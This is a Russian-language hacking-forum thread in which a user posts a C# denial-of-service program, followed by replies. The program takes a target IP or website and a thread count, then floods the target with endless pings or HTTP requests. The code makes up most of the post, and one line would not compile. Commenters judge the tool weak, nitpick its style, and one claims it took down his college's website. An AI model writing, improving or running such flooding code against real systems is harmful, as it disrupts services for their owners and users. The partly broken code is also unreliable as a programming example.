Загрузка...

Dos на с#

Тема в разделе C# создана пользователем tipossilka77 29 май 2021. (поднята 15 июн 2021) 601 просмотр

  1. tipossilka77
    tipossilka77 Автор темы 29 май 2021 rang: imperator 33 23 май 2020
    Всем привет! Я решил написать свой (фиговый) пример Dos программы!
    Вот код
    Код
     static void Main()
    {
    bool isIp = true;
    Console.WriteLine("Привет ебать! Эта программа по досу сайтов и айпи) "); //обращение)
    Console.WriteLine("Будим ебашить ip или сайт? (ip - 1 сайт - 2)");//спрашиваем что будем делать
    int IsDos= Console.ReadLine(); //Записываем ответ в переменную IsDos
    Console.WriteLine("Во сколько потоков? (чем больше тем лучше ддос но и жрать систему будет больше)(например 100)"); //спрашиваем во сколько потоков будем досить
    int thread1 = Convert.ToInt32(Console.ReadLine()); // записываем ответ в переменную thread1
    if (IsDos == 1) //если IsDos равен 1 (тоесть ip) то isIp равен true
    {
    isIp = true;
    }
    else // если нет то false
    {
    isIp = false;
    }
    Console.WriteLine("Введи ip или сайт (без http://)"); // спрашиваем ip или сайт
    string ip = Console.ReadLine(); // Записываем в переменную ip


    threading(isIp, ip, thread1); // Вызываем метод threading
    }



    static void threading(bool IsIP2, string ip12, int num) // этот метод создаёт потоки в аргументах указываем ip
    {
    if (IsIP2) // если IsIp2 равен true то создает поток с методом ipDos
    {
    for(int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(ipDos));
    myThread.Start(ip12);
    }
    }
    else // если нет то создает поток с методом SiteDos в аргументах указываем сайт
    {
    for (int i = 0; i < num; i++)
    {
    Thread myThread = new Thread(new ParameterizedThreadStart(SiteDos));
    myThread.Start(ip12);
    }
    }

    }

    static void ipDos(object ip1) // метод который досит ip
    {
    string ip12 = (string)ip1; //
    IPAddress ip = null;
    ip = IPAddress.Parse(ip12);
    int num = 0;
    while (true)
    {
    num++;
    var ping = new Ping();
    //Если IP пропарсился нормально, то пингуем
    if (ip != null)
    ping.Send(ip);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
    static void SiteDos(object ip12)
    {
    int num = 0;
    while (true)
    {
    num++;
    string ip1 = (string)ip12;
    //Создаём запрос
    var r = (HttpWebRequest)WebRequest.Create("http://" + ip1);
    //Начинаем слушать ответ
    r.BeginGetResponse(new AsyncCallback((IAsyncResult res) => { }), null);
    Console.WriteLine(num + "SUCED");
    if (num % 10000 == 0)
    GC.Collect();
    }
    }
     
    29 май 2021 Изменено
  2. tipossilka77
    tipossilka77 Автор темы 29 май 2021 rang: imperator 33 23 май 2020
    Основное объяснил)
     
  3. wDude
    wDude 29 май 2021 Боюсь быть не там и не тем. 3667 14 авг 2017
    Дос сайтов с 1 компьютера, путём отправки http запросов :peka::peka::spain:.
    В теории должно сработать (нет), а на практике даже лучше не пытаться.
    Надеюсь ты этой прогой лолз не положишь :warpath:.
    А так попытка не плохая.
     
    1. Посмотреть предыдущие комментарии (1)
    2. wDude
      tipossilka77, ты уверен, что это просто твой айпи в блок на время не улетел? :troll_face:
  4. SijyKijy
    SijyKijy 29 май 2021 Сгнил 34 10 мар 2017
    Код
    GC.Collect()
    в бесконечном цикле, дык ещё и в многопотоке. Бедный garbage collector
     
  5. LilKrale
    LilKrale 1 июн 2021 генг бэнг 65 11 дек 2020
    Никогда не видел досов на шарпе, ставлю класс за старания:da:
     
  6. loger3000
    loger3000 1 июн 2021 2 31 май 2021
    им скорее свой интернет положишь чем сайт
     
  7. ПереигралВсех
    ПереигралВсех 15 июн 2021 Заблокирован(а) 1101 9 фев 2020
    лучше новый метод ддоса придумай :da:
     
  8. ekstador
    ekstador 16 июн 2021 381 23 авг 2017
    Чел, жесткий лайк, ибо сайт моей шараги упал
     
    1. Посмотреть предыдущие комментарии (7)
    2. ekstador
      @aChanKiller, очень важно услышать мнение навокека. Держи его при себе
    3. ПереигралВсех
      @aChanKiller, про бесполезный код согласен, но стоит отдать должное, за то что постарался
  9. GoodentaK
    GoodentaK 16 июн 2021 мамонтизирован 130 18 май 2021
    Чувак, на будущее, main func. должна быть в самом низу, это плохой тон, когда main сверху
     
    1. Посмотреть предыдущие комментарии (5)
    2. Abraxuy
      GoodentaK, нет, это называется ты доебался к новичку, который сам ещё нихрена не понимает, а вы уже лезете со своими 'советами '
    3. GoodentaK
      Abraxuy, ну так он зато будет знать на будущее
    4. GoodentaK
      Abraxuy, я же написал "на будущее", я же не сказал ему сейчас сразу начать так делать, со временем он придет к этому
Загрузка...
Top